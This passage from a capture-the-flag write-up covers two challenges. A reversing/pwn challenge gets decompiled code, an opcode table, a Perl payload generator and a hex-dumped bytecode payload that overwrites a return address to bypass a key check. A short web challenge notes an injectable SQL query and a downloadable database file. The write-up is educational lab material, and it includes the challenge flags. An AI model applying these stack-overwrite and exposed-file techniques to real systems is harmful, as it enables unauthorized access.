      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2) -
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
      break;
    case 0x77:
      *(undefined2 *)
       ((long)&stack0xffffffffffffff68 +
       (long)*(short *)((long)&local_a0 + (long)(char)bVar6 * 2) * 2) =
           *(undefined2 *)((long)&local_a0 + (long)(char)bVar9 * 2);
    }
    if ((int)sVar3 <= iVar7) {
      bVar1 = false;
    }
    DAT_001054f4 = DAT_001054f4 + 1;
    iVar5 = iVar7;
    if (0x54 < DAT_001054f4) {
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cerr,"Too many opcodes\n",0x11);
      bVar1 = false;
    }
  }
  uVar4 = 0;
LAB_001029d6:
  if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar4;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

</div></details>

From the function `FUN_00102750`, I found that these instructions are available:

```
a v1 v2 v3 : reg[v1] = reg[v3] + reg[v2]
c v1       : Check 16 elements from RAM[v1] and stop execution
d v1 v2 v3 : reg[v1] = reg[v2] / reg[v3]
m v1 v2 v3 : reg[v1] = reg[v3] * reg[v2]
r v1 v2    : reg[v1] = RAM[reg[v2]]
s v1 v2 v3 : reg[v1] = reg[v2] - reg[v3]
w v1 v2    : RAM[reg[v1]] = reg[v2]
```

where:

* `v1`, `v2`, and `v3` are 1 byte each and the values of the bytes are the values to specify plus 0x30.
* Each elements of `reg` and `RAM` are 16 bits.
* When all of the values specified by `v1`, `v2`, and `v3` are 4 or greater, it yields an error and the execution is terminated.
* The "check" of `c` instruction is done in the function `FUN_0010234f`.

<details><summary>The function `FUN_0010234f`</summary><div>

```c
void FUN_0010234f(char *param_1)

{
  long *plVar1;
  int iVar2;
  long lVar3;
  long *plVar4;
  undefined8 uVar5;
  long in_FS_OFFSET;
  char *local_248;
  long local_240;
  char local_238;
  undefined7 uStack567;
  long local_228 [9];
  locale local_1e0 [48];
  __basic_file<char> local_1b0 [136];
  undefined8 local_128 [27];
  undefined8 local_50;
  undefined local_48;
  undefined local_47;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  iVar2 = strncmp(param_1,"3p1cl337-k3yw0rd",0x10);
  if (iVar2 == 0) {
    std::__ostream_insert<char,std::char_traits<char>>
              ((basic_ostream *)std::cout,"Wow! You are pretty good\n",0x19);
    std::ios_base::ios_base((ios_base *)local_128);
    local_128[0] = 0x104c40;
    local_50 = 0;
    local_48 = 0;
    local_47 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    local_28 = 0;
    local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
    *(undefined8 *)
     ((long)local_228 +
     *(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
         std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
    local_228[1] = 0;
                    /* try { // try from 0010243f to 00102443 has its CatchHandler @ 0010254f */
    std::basic_ios<char,std::char_traits<char>>::init
              ((basic_streambuf *)((long)local_228 + *(long *)(local_228[0] + -0x18)));
    local_228[0] = 0x104ce8;
    local_128[0] = 0x104d10;
                    /* try { // try from 001024db to 001024df has its CatchHandler @ 0010254a */
    std::basic_filebuf<char,std::char_traits<char>>::basic_filebuf();
                    /* try { // try from 001024ed to 001024f1 has its CatchHandler @ 001024f4 */
    std::basic_ios<char,std::char_traits<char>>::init((basic_streambuf *)local_128);
                    /* try { // try from 00102565 to 001025a1 has its CatchHandler @ 00102743 */
    lVar3 = std::basic_filebuf<char,std::char_traits<char>>::open((char *)(local_228 + 2),0x103039);
    if (lVar3 == 0) {
      std::basic_ios<char,std::char_traits<char>>::clear
                ((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
    }
    else {
      std::basic_ios<char,std::char_traits<char>>::clear
                ((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
    }
    local_248 = &local_238;
    local_240 = 0;
    local_238 = '\0';
                    /* try { // try from 001025c1 to 00102628 has its CatchHandler @ 00102629 */
    std::operator>>((basic_istream *)local_228,(basic_string *)&local_248);
    std::__ostream_insert<char,std::char_traits<char>>
              ((basic_ostream *)std::cout,"Here\'s your first reward : ",0x1b);
    plVar4 = (long *)std::__ostream_insert<char,std::char_traits<char>>
                               ((basic_ostream *)std::cout,local_248,local_240);
    plVar1 = *(long **)((long)plVar4 + *(long *)(*plVar4 + -0x18) + 0xf0);
    if (plVar1 == (long *)0x0) {
      uVar5 = std::__throw_bad_cast();
                    /* catch(type#1 @ 00000000) { ... } // from try @ 001025c1 with catch @ 00102629
                       catch(type#1 @ 00000000) { ... } // from try @ 00102649 with catch @ 00102629
                        */
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
      std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream
                ((basic_ifstream<char,std::char_traits<char>> *)local_228);
                    /* WARNING: Subroutine does not return */
      _Unwind_Resume(uVar5);
    }
    if (*(char *)(plVar1 + 7) == '\0') {
                    /* try { // try from 00102649 to 00102668 has its CatchHandler @ 00102629 */
      std::ctype<char>::_M_widen_init();
      (**(code **)(*plVar1 + 0x30))(plVar1,10);
    }
    std::basic_ostream<char,std::char_traits<char>>::put((char)plVar4);
    std::basic_ostream<char,std::char_traits<char>>::flush();
    if (local_248 != &local_238) {
      operator.delete(local_248,CONCAT71(uStack567,local_238) + 1);
    }
    local_228[0] = 0x104ce8;
    local_128[0] = 0x104d10;
    local_228[2] = 0x104d30;
                    /* try { // try from 001026ae to 001026b2 has its CatchHandler @ 001026b5 */
    std::basic_filebuf<char,std::char_traits<char>>::close();
    std::__basic_file<char>::~__basic_file(local_1b0);
    local_228[2] = 0x104c60;
    std::locale::~locale(local_1e0);
    local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
    *(undefined8 *)
     ((long)local_228 +
     *(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
         std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
    local_228[1] = 0;
    local_128[0] = 0x104c40;
    std::ios_base::~ios_base((ios_base *)local_128);
    goto LAB_00102726;
  }
  std::__ostream_insert<char,std::char_traits<char>>((basic_ostream *)std::cout,"Nope Mate",9);
  plVar1 = *(long **)(std::cout + *(long *)(std::cout._0_8_ + -0x18) + 0xf0);
  if (plVar1 == (long *)0x0) {
    std::__throw_bad_cast();
LAB_001024a4:
    std::ctype<char>::_M_widen_init();
    (**(code **)(*plVar1 + 0x30))(plVar1,10);
  }
  else {
    if (*(char *)(plVar1 + 7) == '\0') goto LAB_001024a4;
  }
  std::basic_ostream<char,std::char_traits<char>>::put(-0x80);
  std::basic_ostream<char,std::char_traits<char>>::flush();
LAB_00102726:
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

</div></details>

Also, disassembling `Interpreter` via `objdump` from [TDM-GCC](https://jmeubank.github.io/tdm-gcc/), I found these things:

* The data for `reg` is stored from `RSP + 0x08`.
* The data for `RAM` is stored from `RSP + 0x10`.
* `reg[0]` to `reg[3]` are initialized to `0` and `RAM[0]` is initialized to `1`.
* There is a canary at `RSP + 0x68`.
* 6 values are pushed and `0x78` is subtracted from `RSP` in the function prologue, so the return address is stored from `RSP + 0xa8`.

Not clearly stated, I guessed that the flag can be obtained by entering a program that passes the check of the `c` instruction.
The check of the `c` instruction (the function `FUN_0010234f`) was comparing the given data with `"3p1cl337-k3yw0rd"` via the function `strncmp`.
I decided to jump to the code that is executed after passing this check by modifying the return address for the function `FUN_00102750` because I thought that creating such long data should be difficult.

The first part of disassembling result of the function `FUN_0010234f` was:

```
    234f:	55                   	push   %rbp
    2350:	53                   	push   %rbx
    2351:	48 81 ec 38 02 00 00 	sub    $0x238,%rsp
    2358:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
    235f:	00 00 
    2361:	48 89 84 24 28 02 00 	mov    %rax,0x228(%rsp)
    2368:	00 
    2369:	31 c0                	xor    %eax,%eax
    236b:	ba 10 00 00 00       	mov    $0x10,%edx
    2370:	48 8d 35 8d 0c 00 00 	lea    0xc8d(%rip),%rsi        # 3004 <_ZNSt12__basic_fileIcED1Ev@plt+0xdf4>
    2377:	e8 34 fd ff ff       	callq  20b0 <strncmp@plt>
    237c:	85 c0                	test   %eax,%eax
    237e:	0f 85 c2 00 00 00    	jne    2446 <_ZNSt12__basic_fileIcED1Ev@plt+0x236>
    2384:	ba 19 00 00 00       	mov    $0x19,%edx
```

From this part, I can tell that the address of "the code that is executed after passing the check" is 0x2384.
Also, the prologue of the function changes RSP by some number which leaves 8 when divided by 16.
This means there shouldn't be a stack alignment problem when jumping to the part after this by modifying a return address.

Also, I found that where to return from the function `FUN_00102750` is 0x2b0c via Ghidra.
Therefore, subtracting `0x788` from the least 2 bytes of the return address will lead to success. (`0x2384 - 0x2b0c = -0x788`)
Considering the data layout on the stack, the return address is placed at `reg[0x50]` to `reg[0x53]`.
`0x788` should be subtracted from the least 2 bytes `reg[0x50]`.

(I made a mistake to subtract 0x790 to jump to 0x237c.
It seems that the check via `test` instruction on 0x237c was passed because the function `FUN_00102750` returns 0 when the execution ended without executing the `c` instruction.)

Now we can subtract `0x788` from the return address if we create the value.
Any 16-bit value can be constructed using `RAM[0]` (`reg[4]`), which is initialized to 1, like this:

1. Initialize "result" to 0 and "value to add" to 1.
2. If the bitwise-AND of "value to add" and the value to construct is not zero, add "value to add" to "result".
3. Double "value to add". In other words, add "value to add" to "value to add".
4. Repeat 2 and 3 until "result" becomes the value to construct.

Here is a program that outputs a program to construct the value in this way when a value is specified:

<details><summary>num_gen.pl</summary><div>

```num_gen.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) {
	die "Usage: perl num_gen.pl target_number\n";
}

my $target = int($ARGV[0]);

print "a114";
if ($target > 0) {
	do {
		if ($target & 1) { print "a001"; }
		print "a111";
		$target >>= 1;
	} while ($target > 1);
	print "a001";
}
print "\n";
```

</div></details>

I added an instruction to subtract the constructed value from the return address to the output of the program and sent this via "Send File" in [Tera Term][teraterm].

```
00000000  61 31 31 34 61 31 31 31 61 31 31 31 61 31 31 31  |a114a111a111a111|
00000010  61 31 31 31 61 30 30 31 61 31 31 31 61 31 31 31  |a111a001a111a111|
00000020  61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31  |a111a001a111a001|
00000030  61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31  |a111a001a111a001|
00000040  73 80 80 30 0a                                   |s..0.|
```

As a result, I obtained the flag.

```
BSNoida{d009e54bdfff4d8cdeeebab05df02280}
```

## Web

### Baby Web

An URL of a web page and the files on the server were given.
The web page had a form to enter an ID and it can search for that.

Reading `index.php` in the given files, I found a part:

```php
      $channel_name = $_GET['chall_id'];
    $sql = "SELECT * FROM CTF WHERE id={$channel_name}";
    $results = $db->query($sql);
```

However, putting `1 or 1=1` or `id` as the ID resulted in seeing an error page.

Reading `index.php` further, I found a part:

```php
        $this->open('./karma.db');
```

This is suggesting that a file `karma.db` is at the same directory as the `index.php`.
According to this, I downloaded `http://ctf.babyweb.bsidesnoida.in/karma.db` and opened that with [TkSQLite](http://reddog.s35.xrea.com/wiki/TkSQLite.html).
I found a table named `flagsss` and the flag was stored there.

```
BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4}
```

[teraterm]: https://ttssh2.osdn.jp/index.html.en
[cs50]: https://ide.cs50.io/
[ghidra]: https://ghidra-sre.org/